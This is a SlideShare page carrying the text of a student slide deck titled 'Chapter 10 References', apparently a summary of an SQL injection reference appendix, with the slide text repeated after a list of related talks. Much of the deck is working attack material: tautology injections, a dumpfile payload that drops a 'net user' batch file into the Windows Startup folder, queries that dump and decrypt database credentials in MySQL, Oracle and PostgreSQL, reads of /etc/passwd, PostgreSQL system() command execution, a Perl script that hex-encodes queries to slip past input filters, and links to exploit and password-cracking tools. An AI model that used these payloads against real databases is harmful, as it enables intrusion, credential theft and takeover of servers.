SlideShare a Scribd company logo
1 of 64
CHAPTER  10 References Prepared  by :- Mohammed Zeinelabdeen. Mohammed Siddig Ahmed . Omer Salih Dawood.
OVER VIEW Structured Query Language (SQL) . SQL Injection Quick Reference. Bypassing Input Validation Filters. Troubleshooting SQL Injection Attacks. SQL Injection on Other Platforms. 2/04/2011 CHAPTER  10 2
Structured Query  Language (SQL) 2/04/2011 3 CHAPTER  10
Structured Query Language (SQL) SQL was originally developed at IBM in early 1970.  Formalized until 1986 by American National Standards Institute (ANSI). We using the SQL standard defined by the International Organization for Standardization (ISO). 2/04/2011 CHAPTER  10 4
SQL Queries SQL queries are made up of one or more SQL statements that are effectively instructions for the database server to carry out. it may include a conditional clause to target specific rows in a table(WHERE). The OR and AND operators are used when multiple conditions are to be evaluated. SELECT Statement SELECT * FROM tblUsers ; SELECT * INTO hackerTable FROM tblusers UNION Operator SELECT username, password FROM tblUsers UNION SELECT username, password FROM   tblAdmins; SELECT username, password FROM tblUsers UNION ALL SELECT username, password FROM tblAdmins 2/04/2011 CHAPTER  10 5
SQL Queries (CON..) INSERT Statement INSERT IN TO tblUsers VALUES (5,'john','smith',0); INSERT INTO tblUsers(id, username, password, priv) VALUES (5, 'john','smith',0); UPDATE Statement UPDATE tblUsers SET priv=0 WHERE username = 'sarah‘; DELETE Statement DELETE FROM tblUsers WHERE username = 'admin‘; 2/04/2011 CHAPTER  10 6
SQL Queries (CON..) Notes from the Underground… SELECT story FROM news WHERE id=19; SELECT story FROM news WHERE id=19 OR 1=1 ; SELECT story FROM news WHERE id=19 OR 1=2 ; UPDATE tblUsers SET password='letmein' WHEREemailaddress='someuser@victim.com‘; UPDATE tblUsers SET password='letmein' WHERE emailaddress=‘ ’ or 1=1’ ; 2/04/2011 CHAPTER  10 7
SQL Queries (CON..) DROP Statement DROP TABLE tblusers; CREATE TABLE Statement CREATE TABLE shoppinglist(item int, name varchar(100)); CREATE TABLE shoppinglist as select * from dba_users; ORDER BY Clause SELECT cost, product FROM orders ORDER BY cost DESC; 2/04/2011 CHAPTER  10 8
SQL Queries (CON..) ALTER TABLE Statement ALTER TABLE tblUsers ADD comments varchar(100); ALTER TABLE tblUsers DROP COLUMN comments; ALTER TABLE tblUsers ALTER COLUMN comments varchar(500); GROUP BY Statement SELECT customer,SUM(cost) FROM orders WHERE customer = 'Anthony Anteater‘ GROUP BY customer; 2/04/2011 CHAPTER  10 9
SQL Queries (CON..) Limiting the Result Set 2/04/2011 10 CHAPTER  10
SQL Injection  Quick Reference 2/04/2011 11 CHAPTER  10
SQL Injection Quick Reference most common SQL queries and  techniques we will need when exploiting an SQL injection vulnerability identify the database platform. SQL injection cheat sheet 2/04/2011 12 CHAPTER  10
Identifying the Database Platform Web server platform and scripting language. IIS + ASP.NET => SQLServer . APACHE + PHP => MySQL .  …. Etc. But we need more scientific approach …… 2/04/2011 13 CHAPTER  10
Identifying the Database Platform Time Delay Inference is a long-standing method of identifying the database platform. OR .. submitting “heavy queries” designed to consume the processor for a measureable length of time. 2/04/2011 14 CHAPTER  10
identify the database ,[object Object],2/04/2011 15 CHAPTER  10
identify the database For example … if we suspect that the database platform is either Microsoft SQL Server or Oracle ‘  AND ‘ ahmed’ || ‘ali’ = ‘ahmedali’-- ‘  AND ‘ahmed’ + ‘ali’ = ‘ahmedali’-- 2/04/2011 16 CHAPTER  10
Combining Multiple Rows only one column and one row can be returned at a time. To bypass this restriction it is possible to concatenate  all rows and columns into a single string. 2/04/2011 17 CHAPTER  10
Combining Multiple Rows Examples … ,[object Object],     -- returns a comma separated list of users. 2/04/2011 18 CHAPTER  10
Combining Multiple Rows SELECT sys.stragg (distinct username||';') FROM all_users;     -- Returns all usernames on a single line 2/04/2011 19 CHAPTER  10
Cheat sheets a quick reference of common SQL statements used in SQL injection attacks against ORACLE and MySQL. 2/04/2011 20 CHAPTER  10
Cheat Sheet PHP and Ruby on Rails applications. Configuration Information and Schema 2/04/2011 21 CHAPTER  10
Cheat Sheet 2/04/2011 22 CHAPTER  10
        Attacking the Database Server System Command Execution It is possible to execute operating system commands by creating a malicious script file on the target server SELECT 'system_commands' INTO dumpfiletrojanpath SELECT 'net user x x '  into   dumpfile 'c:Documents and SettingsAll UsersStart MenuPrograms Startupattack.bat' 2/04/2011 23 CHAPTER  10
Cracking Database Passwords extract user password hashes from the mysql.user table. SELECT concat(user,":",password) FROM mysql.user Password hashes can then be cracked using  http://hashcrack.com/ www.openwall.com/john/         Attacking the Database Server 2/04/2011 24 CHAPTER  10
Attacking the Database Directly execute code by directly connecting to the MySQL server and creating a user-defined function. we can download a tool to perform this attack Windows: ww.scoobygang.org/HiDDenWarez/mexec.pl Windows:www.0xdeadbeef.info/exploits/raptor_winudf.tgz         Attacking the Database Server 2/04/2011 25 CHAPTER  10
File Read/Write The MySQL LOAD_FILE function returns a string containing the contents of a specified file. The database user requires the file_priv privilege to invoke this function. SELECT LOAD_FILE('/etc/passwd'); -	we can use a tool called SqlDumper to read file  contents via blind SQL injection.         Attacking the Database Server 2/04/2011 26 CHAPTER  10
Cheat Sheet 2/04/2011 27 CHAPTER  10
Cheat Sheet 2/04/2011 28 CHAPTER  10
Cheat Sheet 2/04/2011 29 CHAPTER  10
               Attacking the Database Server there are two different types of injection in ORACLE  traditional SQL injection only a single SQL statement. PL/SQL  injection execute entire PL/SQL blocks. 2/04/2011 30 CHAPTER  10
More than 100 Oracle tables contain password  information. Sometimes the passwords are available as clear text.                Cracking Database Passwords 2/04/2011 31 CHAPTER  10
select view_username, sysman.decrypt(view_password)  from sysman.mgmt_view_user_credentials;                Cracking Database Passwords 2/04/2011 32 CHAPTER  10
select credential_set_column, sysman.decrypt (credential_value)  from     sysman.mgmt_credentials2; 2/04/2011 CHAPTER  10 33                Cracking Database Passwords
Oracle password hashes can then be cracked using a variety of freely available tools, such as Woraauthbf. John the Ripper. Gsauditor. Checkpwd.  Cain & Abel. 2/04/2011 CHAPTER  10 34                Cracking Database Passwords
Bypassing Input  Validation  Filters 2/04/2011 35 CHAPTER  10
Bypassing Input Validation Filters You can bypass input validation filters that rely on rejecting known bad characters and string literals by encoding your input.  Quote Filters The single-quote character (‘) is synonymous with SQL injection attacks.  The idea behind this approach is to prevent the attacker from breaking out of quote-delimited data.  2/04/2011 CHAPTER  10 36
Quote Filters (con…) SELECT ‘ABC’ 2/04/2011 CHAPTER  10 37
Quote Filters (con…) Microsoft SQL Server also allows you to build your query within a variable and then call EXEC to execute it. SELECT ‘ABC’ into it via a HEX-encoded string:      DECLARE @q varchar(8000)      SELECT @q=0x53454c454354202741424327      EXEC(@q) You can use the following Perl script to automatically encode SQL statements using this technique: 2/04/2011 CHAPTER  10 38
Quote Filters (con…) #!/usr/bin/perl print "Enter SQL query to encode:"; $teststr=<STDIN>;chomp $teststr; $hardcoded_sql = 'declare @q varchar(8000) '. 'select @q=0x*** '. 'exec(@q)'; $prepared = encode_sql($teststr); $hardcoded_sql =∼s//$prepared/g; print "[*]-Encoded SQL:"; print $hardcoded_sql .""; sub encode_sql{ @subvar=@_; my $sqlstr =$subvar[0]; @ASCII = unpack("C*", $sqlstr); foreach $line (@ASCII) { $encoded = sprintf('%lx',$line); $encoded_command .= $encoded; } return $encoded_command; } CHAPTER  10 39 2/04/2011
HTTP Encoding You can sometimes bypass input validation filters that reject known bad characters (often referred to as blacklisting). 2/04/2011 CHAPTER  10 40
HTTP Encoding (con…) 41 2/04/2011 CHAPTER  10
HTTP Encoding (con…) 42 2/04/2011 CHAPTER  10
Troubleshooting  SQL Injection Attacks
Troubleshooting SQL Injection Attacks: Table lists some of the common challenges and errors that  are frequently encountered when attempting to exploit an  SQL injection flaw across various platforms. 2/04/2011 CHAPTER  10 44
2/04/2011 45 CHAPTER  10
2/04/2011 46 CHAPTER  10
47 2/04/2011 CHAPTER  10
2/04/2011 CHAPTER  10 48
2/04/2011 CHAPTER  10 49
SQL Injection on Other Platforms 2/04/2011 50 CHAPTER  10
SQL Injection on Other Platforms. This section is intended to provide a quick reference for other, less commonplatforms, such as PostgreSQL, DB2, Informix, and Ingres. PostgreSQL : Extracting the PostgreSQL Database Configuration Information: 51 2/04/2011 CHAPTER  10
Extracting the PostgreSQL Database Schema : 2/04/2011 CHAPTER  10 52
Blind Sql injection Function : Attacking the Database Server: PostgreSQL PostgreSQL does not offer a built-in procedure for executing operating system commands it is possible to import functions such as system() from an external .dll or Shared Object (.so) file. System Command Execution: import the system function from the standard UNIX libc library: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6‘,'system' LANGUAGE 'C' STRICT; The system function can then be called by executing the following SQL query:        SELECT system('command'); 53 2/04/2011 CHAPTER  10
Local File Access: Local files can be read by the superuser account using  the following SQL: CREATE TABLE filedata(t text); COPY filedata FROM '/etc/passwd'; -- It is also possible to write local files using the following SQL: CREATE TABLE thefile(evildata text); INSERT INTO thefile(evildata) VALUES ('some evil data'); COPY thefile (evildata) TO '/tmp/evilscript.sh'; Cracking Database Passwords : PostgreSQL passwords are hashed using the MD5 algorithm: select usename||':'||passwd from pg_shadow; 2/04/2011 CHAPTER  10 54
DB2 Cheat Sheet : The DB2 database server from IBM is perhaps one of the  least popular database platforms to find integrated with a  Web application. Extracting the PostgreSQL Database Configuration Information: 55 2/04/2011 CHAPTER  10
Extracting DB2 Database Schema : Blind Sql injection Function : 2/04/2011 CHAPTER  10 56
Informix Cheat Sheet : The Informix database server is distributed by IBM and is  not commonly encountered when compared to other  database platforms. Extracting the Informix Database Configuration Information: 2/04/2011 CHAPTER  10 57
Extracting Informix Database Schema : Blind Sql injection Function : 58 2/04/2011 CHAPTER  10
Ingres Cheat Sheet : The Ingres database is an open source database available for all major  operating systems.Ingres is one of the least  popular databases to find  integrated with a Web  application. Extracting the Ingres Database Configuration Information: 59 2/04/2011 CHAPTER  10
Extracting Ingres Database Schema : Blind Sql injection Function : 2/04/2011 CHAPTER  10 60
Microsoft Access : Microsoft Access databases do not scale well with enterprise  applications, and thereforeare usually encountered only  when the application has minimal database requirements. Brett Moore of insomniasec.com has published an excellent  paper on SQL injection with Microsoft Access which you  can find here:  www.insomniasec.com/publications/Access-Through- Access.pdf 2/04/2011 CHAPTER  10 61
Resources : SQL Injection White Papers ■ “Advanced SQL Injection” by Victor Chapela: www.owasp.org/index.php/Image:Advanced_SQL_Injection.ppt “Advanced SQL Injection in SQL Server Applications” by Chris Anley: www.ngssoftware.com/papers/advanced_sql_injection.pdf ■ “Buffer Truncation Abuse in .NET and Microsoft SQL Server” by GaryO’Leary-Steele: http://scanner.sec-1.com/resources/bta.pdf ■ “Access through Access” by Brett Moore: www.insomniasec.com/publications/Access-Through-Access.pdf ■ “Time-Based Blind SQL Injection with Heavy Queries” by Chema Alonso: http://technet.microsoft.com/en-us/library/cc512676.aspx SQL Injection Cheat Sheets ■ PentestMonkey.com SQL injection cheat sheets for Oracle, Microsoft SQL Server, MySQL, PostgreSQL, Ingres, DB2, and Informix: http://pentestmonkey.net/cheat-sheets/ ■ Michaeldaw.org SQL injection cheat sheets for Sybase, MySQL, Oracle, PostgreSQL, DB2,  and Ingres: http://michaeldaw.org/sql-injection-cheat-sheet/ ■ FerruhMavituna cheat sheets for MySQL, SQL Server, PostgreSQL, and Oracle: http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ ■ FerruhMavituna cheat sheets for Oracle: http://ferruh.mavituna.com/oracle-sql-injection-cheat-sheet-oku/ 62 2/04/2011 CHAPTER  10
SQL Injection Exploit Tools : BSQL Hacker is  a relatively new player in the SQL injection exploit world.The tool is a Windows-based GUI application that supports Microsoft SQL Server,Oracle, and MySQL. BSQL Hacker supports blind and error-based SQL injectiontechniques: http://labs.portcullis.co.uk/application/bsql-hacker/ The Sec-1 Automagic SQL injection (SASI) tool is a Microsoft SQL Server exploittool written in Perl: http://scanner.sec-1.com/resources/sasi.zip
Password Cracking Tools : Cain & Abel: www.oxid.it Woraauthbf: www.soonerorlater.hu/index.khtml?article_id=513

More Related Content

What's hot

Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Bernardo Damele A. G.
 
03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17Eoin Keary
 
Sql Injection Adv Owasp
Sql Injection Adv OwaspSql Injection Adv Owasp
Sql Injection Adv OwaspAung Khant
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9sumsid1234
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLPradeep Kumar
 
SQL injection: Not Only AND 1=1 (updated)
SQL injection: Not Only AND 1=1 (updated)SQL injection: Not Only AND 1=1 (updated)
SQL injection: Not Only AND 1=1 (updated)Bernardo Damele A. G.
 
Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)Bernardo Damele A. G.
 
CIS 336 Inspiring Innovation/tutorialrank.com
CIS 336 Inspiring Innovation/tutorialrank.comCIS 336 Inspiring Innovation/tutorialrank.com
CIS 336 Inspiring Innovation/tutorialrank.comjonhson111
 
What is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicWhat is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicJW CyberNerd
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)SqliChema Alonso
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresCade Zvavanjanja
 
The sqlite3 commnad line tool
The sqlite3 commnad line toolThe sqlite3 commnad line tool
The sqlite3 commnad line toolpunu_82
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection TutorialMagno Logan
 

What's hot (20)

SQL injection: Not only AND 1=1
SQL injection: Not only AND 1=1SQL injection: Not only AND 1=1
SQL injection: Not only AND 1=1
 
Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql Injection Myths and Fallacies
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
 
03. sql and other injection module v17
03. sql and other injection module v1703. sql and other injection module v17
03. sql and other injection module v17
 
Sql Injection Adv Owasp
Sql Injection Adv OwaspSql Injection Adv Owasp
Sql Injection Adv Owasp
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
 
SQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQLSQL Injection in action with PHP and MySQL
SQL Injection in action with PHP and MySQL
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL injection: Not Only AND 1=1 (updated)
SQL injection: Not Only AND 1=1 (updated)SQL injection: Not Only AND 1=1 (updated)
SQL injection: Not Only AND 1=1 (updated)
 
Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)Advanced SQL injection to operating system full control (whitepaper)
Advanced SQL injection to operating system full control (whitepaper)
 
Sql injection
Sql injectionSql injection
Sql injection
 
CIS 336 Inspiring Innovation/tutorialrank.com
CIS 336 Inspiring Innovation/tutorialrank.comCIS 336 Inspiring Innovation/tutorialrank.com
CIS 336 Inspiring Innovation/tutorialrank.com
 
What is advanced SQL Injection? Infographic
What is advanced SQL Injection? InfographicWhat is advanced SQL Injection? Infographic
What is advanced SQL Injection? Infographic
 
Playing With (B)Sqli
Playing With (B)SqliPlaying With (B)Sqli
Playing With (B)Sqli
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Web application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasuresWeb application attacks using Sql injection and countermasures
Web application attacks using Sql injection and countermasures
 
The sqlite3 commnad line tool
The sqlite3 commnad line toolThe sqlite3 commnad line tool
The sqlite3 commnad line tool
 
SQL Injection Defense in Python
SQL Injection Defense in PythonSQL Injection Defense in Python
SQL Injection Defense in Python
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection Tutorial
 

Viewers also liked (20)

References - sql injection
References - sql injection References - sql injection
References - sql injection
 
Testing
TestingTesting
Testing
 
Data cubes
Data cubesData cubes
Data cubes
 
Dbm630_lecture01
Dbm630_lecture01Dbm630_lecture01
Dbm630_lecture01
 
Dbm630 lecture10
Dbm630 lecture10Dbm630 lecture10
Dbm630 lecture10
 
Dbm630 lecture07
Dbm630 lecture07Dbm630 lecture07
Dbm630 lecture07
 
Dbm630 lecture04
Dbm630 lecture04Dbm630 lecture04
Dbm630 lecture04
 
Introduction to Data Warehousing
Introduction to Data WarehousingIntroduction to Data Warehousing
Introduction to Data Warehousing
 
Dbm630 lecture08
Dbm630 lecture08Dbm630 lecture08
Dbm630 lecture08
 
Datawarehouse and OLAP
Datawarehouse and OLAPDatawarehouse and OLAP
Datawarehouse and OLAP
 
Dbm630_lecture02-03
Dbm630_lecture02-03Dbm630_lecture02-03
Dbm630_lecture02-03
 
Dbm630 lecture05
Dbm630 lecture05Dbm630 lecture05
Dbm630 lecture05
 
Dbm630 lecture09
Dbm630 lecture09Dbm630 lecture09
Dbm630 lecture09
 
Data Mining and Data Warehousing
Data Mining and Data WarehousingData Mining and Data Warehousing
Data Mining and Data Warehousing
 
Apache kylin 2.0: from classic olap to real-time data warehouse
Apache kylin 2.0: from classic olap to real-time data warehouseApache kylin 2.0: from classic olap to real-time data warehouse
Apache kylin 2.0: from classic olap to real-time data warehouse
 
Design cube in Apache Kylin
Design cube in Apache KylinDesign cube in Apache Kylin
Design cube in Apache Kylin
 
Datacube
DatacubeDatacube
Datacube
 
Apache Kylin’s Performance Boost from Apache HBase
Apache Kylin’s Performance Boost from Apache HBaseApache Kylin’s Performance Boost from Apache HBase
Apache Kylin’s Performance Boost from Apache HBase
 
Oracle-Mengendalikan User
Oracle-Mengendalikan UserOracle-Mengendalikan User
Oracle-Mengendalikan User
 
MPLS
MPLSMPLS
MPLS
 

Similar to References

Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormguest785f78
 
Introduction to Threading in .Net
Introduction to Threading in .NetIntroduction to Threading in .Net
Introduction to Threading in .Netwebhostingguy
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsOracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsAlex Zaballa
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c  - New Features for Developers and DBAsOracle Database 12c  - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsAlex Zaballa
 
Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injectionnewbie2019
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity FrameworksRich Helton
 
Bypass dbms assert
Bypass dbms assertBypass dbms assert
Bypass dbms assertfangjiafu
 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsTROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsScott Sutherland
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack webhostingguy
 
Advanced SQL - Database Access from Programming Languages
Advanced SQL - Database Access  from Programming LanguagesAdvanced SQL - Database Access  from Programming Languages
Advanced SQL - Database Access from Programming LanguagesS.Shayan Daneshvar
 
Advanced sql injection
Advanced sql injectionAdvanced sql injection
Advanced sql injectionbadhanbd
 

Similar to References (20)

Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
 
Sq linjection
Sq linjectionSq linjection
Sq linjection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Introduction to Threading in .Net
Introduction to Threading in .NetIntroduction to Threading in .Net
Introduction to Threading in .Net
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAsOracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAs
 
Oracle Database 12c - New Features for Developers and DBAs
Oracle Database 12c  - New Features for Developers and DBAsOracle Database 12c  - New Features for Developers and DBAs
Oracle Database 12c - New Features for Developers and DBAs
 
Chapter 14 sql injection
Chapter 14 sql injectionChapter 14 sql injection
Chapter 14 sql injection
 
Sql Injection and Entity Frameworks
Sql Injection and Entity FrameworksSql Injection and Entity Frameworks
Sql Injection and Entity Frameworks
 
SQL Injection - Newsletter
SQL Injection - NewsletterSQL Injection - Newsletter
SQL Injection - Newsletter
 
Bypass dbms assert
Bypass dbms assertBypass dbms assert
Bypass dbms assert
 
Oracle notes
Oracle notesOracle notes
Oracle notes
 
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory EnvironmentsTROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
Sql injection
Sql injectionSql injection
Sql injection
 
Advanced SQL - Database Access from Programming Languages
Advanced SQL - Database Access  from Programming LanguagesAdvanced SQL - Database Access  from Programming Languages
Advanced SQL - Database Access from Programming Languages
 
Sql injection
Sql injectionSql injection
Sql injection
 
Advanced sql injection
Advanced sql injectionAdvanced sql injection
Advanced sql injection
 
Full MSSQL Injection PWNage
Full MSSQL Injection PWNageFull MSSQL Injection PWNage
Full MSSQL Injection PWNage
 
Advanced sql injection 1
Advanced sql injection 1Advanced sql injection 1
Advanced sql injection 1
 
Pl sql chapter 1
Pl sql chapter 1Pl sql chapter 1
Pl sql chapter 1
 

References

  • 1. CHAPTER 10 References Prepared by :- Mohammed Zeinelabdeen. Mohammed Siddig Ahmed . Omer Salih Dawood.
  • 2. OVER VIEW Structured Query Language (SQL) . SQL Injection Quick Reference. Bypassing Input Validation Filters. Troubleshooting SQL Injection Attacks. SQL Injection on Other Platforms. 2/04/2011 CHAPTER 10 2
  • 3. Structured Query Language (SQL) 2/04/2011 3 CHAPTER 10
  • 4. Structured Query Language (SQL) SQL was originally developed at IBM in early 1970. Formalized until 1986 by American National Standards Institute (ANSI). We using the SQL standard defined by the International Organization for Standardization (ISO). 2/04/2011 CHAPTER 10 4
  • 5. SQL Queries SQL queries are made up of one or more SQL statements that are effectively instructions for the database server to carry out. it may include a conditional clause to target specific rows in a table(WHERE). The OR and AND operators are used when multiple conditions are to be evaluated. SELECT Statement SELECT * FROM tblUsers ; SELECT * INTO hackerTable FROM tblusers UNION Operator SELECT username, password FROM tblUsers UNION SELECT username, password FROM tblAdmins; SELECT username, password FROM tblUsers UNION ALL SELECT username, password FROM tblAdmins 2/04/2011 CHAPTER 10 5
  • 6. SQL Queries (CON..) INSERT Statement INSERT IN TO tblUsers VALUES (5,'john','smith',0); INSERT INTO tblUsers(id, username, password, priv) VALUES (5, 'john','smith',0); UPDATE Statement UPDATE tblUsers SET priv=0 WHERE username = 'sarah‘; DELETE Statement DELETE FROM tblUsers WHERE username = 'admin‘; 2/04/2011 CHAPTER 10 6
  • 7. SQL Queries (CON..) Notes from the Underground… SELECT story FROM news WHERE id=19; SELECT story FROM news WHERE id=19 OR 1=1 ; SELECT story FROM news WHERE id=19 OR 1=2 ; UPDATE tblUsers SET password='letmein' WHEREemailaddress='someuser@victim.com‘; UPDATE tblUsers SET password='letmein' WHERE emailaddress=‘ ’ or 1=1’ ; 2/04/2011 CHAPTER 10 7
  • 8. SQL Queries (CON..) DROP Statement DROP TABLE tblusers; CREATE TABLE Statement CREATE TABLE shoppinglist(item int, name varchar(100)); CREATE TABLE shoppinglist as select * from dba_users; ORDER BY Clause SELECT cost, product FROM orders ORDER BY cost DESC; 2/04/2011 CHAPTER 10 8
  • 9. SQL Queries (CON..) ALTER TABLE Statement ALTER TABLE tblUsers ADD comments varchar(100); ALTER TABLE tblUsers DROP COLUMN comments; ALTER TABLE tblUsers ALTER COLUMN comments varchar(500); GROUP BY Statement SELECT customer,SUM(cost) FROM orders WHERE customer = 'Anthony Anteater‘ GROUP BY customer; 2/04/2011 CHAPTER 10 9
  • 10. SQL Queries (CON..) Limiting the Result Set 2/04/2011 10 CHAPTER 10
  • 11. SQL Injection Quick Reference 2/04/2011 11 CHAPTER 10
  • 12. SQL Injection Quick Reference most common SQL queries and techniques we will need when exploiting an SQL injection vulnerability identify the database platform. SQL injection cheat sheet 2/04/2011 12 CHAPTER 10
  • 13. Identifying the Database Platform Web server platform and scripting language. IIS + ASP.NET => SQLServer . APACHE + PHP => MySQL . …. Etc. But we need more scientific approach …… 2/04/2011 13 CHAPTER 10
  • 14. Identifying the Database Platform Time Delay Inference is a long-standing method of identifying the database platform. OR .. submitting “heavy queries” designed to consume the processor for a measureable length of time. 2/04/2011 14 CHAPTER 10
  • 15.
  • 16. identify the database For example … if we suspect that the database platform is either Microsoft SQL Server or Oracle ‘ AND ‘ ahmed’ || ‘ali’ = ‘ahmedali’-- ‘ AND ‘ahmed’ + ‘ali’ = ‘ahmedali’-- 2/04/2011 16 CHAPTER 10
  • 17. Combining Multiple Rows only one column and one row can be returned at a time. To bypass this restriction it is possible to concatenate all rows and columns into a single string. 2/04/2011 17 CHAPTER 10
  • 18.
  • 19. Combining Multiple Rows SELECT sys.stragg (distinct username||';') FROM all_users; -- Returns all usernames on a single line 2/04/2011 19 CHAPTER 10
  • 20. Cheat sheets a quick reference of common SQL statements used in SQL injection attacks against ORACLE and MySQL. 2/04/2011 20 CHAPTER 10
  • 21. Cheat Sheet PHP and Ruby on Rails applications. Configuration Information and Schema 2/04/2011 21 CHAPTER 10
  • 22. Cheat Sheet 2/04/2011 22 CHAPTER 10
  • 23. Attacking the Database Server System Command Execution It is possible to execute operating system commands by creating a malicious script file on the target server SELECT 'system_commands' INTO dumpfiletrojanpath SELECT 'net user x x ' into dumpfile 'c:Documents and SettingsAll UsersStart MenuPrograms Startupattack.bat' 2/04/2011 23 CHAPTER 10
  • 24. Cracking Database Passwords extract user password hashes from the mysql.user table. SELECT concat(user,":",password) FROM mysql.user Password hashes can then be cracked using http://hashcrack.com/ www.openwall.com/john/ Attacking the Database Server 2/04/2011 24 CHAPTER 10
  • 25. Attacking the Database Directly execute code by directly connecting to the MySQL server and creating a user-defined function. we can download a tool to perform this attack Windows: ww.scoobygang.org/HiDDenWarez/mexec.pl Windows:www.0xdeadbeef.info/exploits/raptor_winudf.tgz Attacking the Database Server 2/04/2011 25 CHAPTER 10
  • 26. File Read/Write The MySQL LOAD_FILE function returns a string containing the contents of a specified file. The database user requires the file_priv privilege to invoke this function. SELECT LOAD_FILE('/etc/passwd'); - we can use a tool called SqlDumper to read file contents via blind SQL injection. Attacking the Database Server 2/04/2011 26 CHAPTER 10
  • 27. Cheat Sheet 2/04/2011 27 CHAPTER 10
  • 28. Cheat Sheet 2/04/2011 28 CHAPTER 10
  • 29. Cheat Sheet 2/04/2011 29 CHAPTER 10
  • 30. Attacking the Database Server there are two different types of injection in ORACLE traditional SQL injection only a single SQL statement. PL/SQL injection execute entire PL/SQL blocks. 2/04/2011 30 CHAPTER 10
  • 31. More than 100 Oracle tables contain password information. Sometimes the passwords are available as clear text. Cracking Database Passwords 2/04/2011 31 CHAPTER 10
  • 32. select view_username, sysman.decrypt(view_password) from sysman.mgmt_view_user_credentials; Cracking Database Passwords 2/04/2011 32 CHAPTER 10
  • 33. select credential_set_column, sysman.decrypt (credential_value) from sysman.mgmt_credentials2; 2/04/2011 CHAPTER 10 33 Cracking Database Passwords
  • 34. Oracle password hashes can then be cracked using a variety of freely available tools, such as Woraauthbf. John the Ripper. Gsauditor. Checkpwd. Cain & Abel. 2/04/2011 CHAPTER 10 34 Cracking Database Passwords
  • 35. Bypassing Input Validation Filters 2/04/2011 35 CHAPTER 10
  • 36. Bypassing Input Validation Filters You can bypass input validation filters that rely on rejecting known bad characters and string literals by encoding your input. Quote Filters The single-quote character (‘) is synonymous with SQL injection attacks. The idea behind this approach is to prevent the attacker from breaking out of quote-delimited data. 2/04/2011 CHAPTER 10 36
  • 37. Quote Filters (con…) SELECT ‘ABC’ 2/04/2011 CHAPTER 10 37
  • 38. Quote Filters (con…) Microsoft SQL Server also allows you to build your query within a variable and then call EXEC to execute it. SELECT ‘ABC’ into it via a HEX-encoded string: DECLARE @q varchar(8000) SELECT @q=0x53454c454354202741424327 EXEC(@q) You can use the following Perl script to automatically encode SQL statements using this technique: 2/04/2011 CHAPTER 10 38
